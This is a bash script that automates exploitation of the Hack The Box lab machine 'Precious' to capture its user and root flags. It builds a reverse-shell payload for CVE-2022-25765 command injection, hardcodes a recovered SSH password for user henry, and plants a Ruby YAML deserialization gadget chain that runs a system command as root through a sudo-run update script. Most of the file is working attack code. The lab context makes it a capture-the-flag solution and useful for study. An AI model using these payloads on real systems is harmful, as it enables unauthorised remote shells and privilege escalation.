CCAvsPrecious.sh

#!/bin/bash
## THIS SCRIPT BRING THE USER AND ROOT FLAGS FORM PRECIOS HACK THE BOX MACHINE
trap ctrl_c 2
ctrl_c(){
  killall python 2>/dev/null
  if [[ -e ${TMPDIR}/dependencies.yml ]]
  then
    rm  -rf ${TMPDIR}/dependencies.yml
  fi
  exit
}

echo "[*] Installing dependencies ..."
command -v ncat >/dev/null || apt install nmap-ncat -y
command -v ssh >/dev/null || apt install openssb -y
command -v sshpass >/dev/null || apt install sshpass -y
command -v wget >/dev/null || apt install wget -y
command -v python >/dev/null || apt install python -y
IPbox="10.10.11.189"
lport="4546"
zzz="sleep 0.5"
echo "[*] Getting IP tun0.";$zzz
tun=$(ifconfig 2>/dev/null|grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}'|grep -v 255|grep -v 127|head -n 1)

echo "[*] Creating payload.";$zzz
payload="http://$tun:8000/?name=#{'%20\`bash -c \"bash -i >& /dev/tcp/$tun/$lport 0>&1\"\`'}"

echo "[*] Netcat listening on $tun:$lport";$zzz
#echo "cat ~/.bundle/config"|ncat -nlvp 4546 > ${TMPDIR}/henry.passwd &
echo "[*] Exploting vulnerability CVE-2022-25765 ...";$zzz
#curl http://precious.htb --resolve precious.htb:80:$IPbox --data "url=$payload&submit=Submit" -o precious.pdf
echo "[*] Access gained as user ruby.";$zzz
#henrypwd=$(grep "henry" ${TMPDIR}/henry.passwd|awk -F ":" '{print $NF}'|tr '"' " ")
henrypwd="Q3c1AqGHtoI0aXAYFH"
echo "[*] Escalating privileges to user Henry.";$zzz
echo "[*] Getting user flag";$zzz
Fuser=$(sshpass -p "$henrypwd" ssh henry@$IPbox "cat ~/user.txt")

echo "[*] Creating a payload.";$zzz
cat <<- CONF > ${TMPDIR}/dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: cat /root/root.txt > /home/henry/root.txt
         method_id: :resolve
CONF

echo "[*] Init python server over loopback:8000.";$zzz
cd ${TMPDIR} && python -m http.server 8000 &
echo "[*] Escalating privileges to user Root.";$zzz
sshpass -p "$henrypwd" ssh henry@$IPbox "wget http://$tun:8000/dependencies.yml -O /home/henry/dependencies.yml && sudo /bin/ruby /opt/update_dependencies.rb 2>/dev/null"
echo "[*] Getting root flag.";$zzz
Froot=$(sshpass -p "$henrypwd" ssh henry@$IPbox "cat /home/henry/root.txt")

echo -en "\e[31mUSER FLAG =\e[0m $Fuser\n\e[31mROOT FLAG =\e[0m $Froot\n"

ctrl_c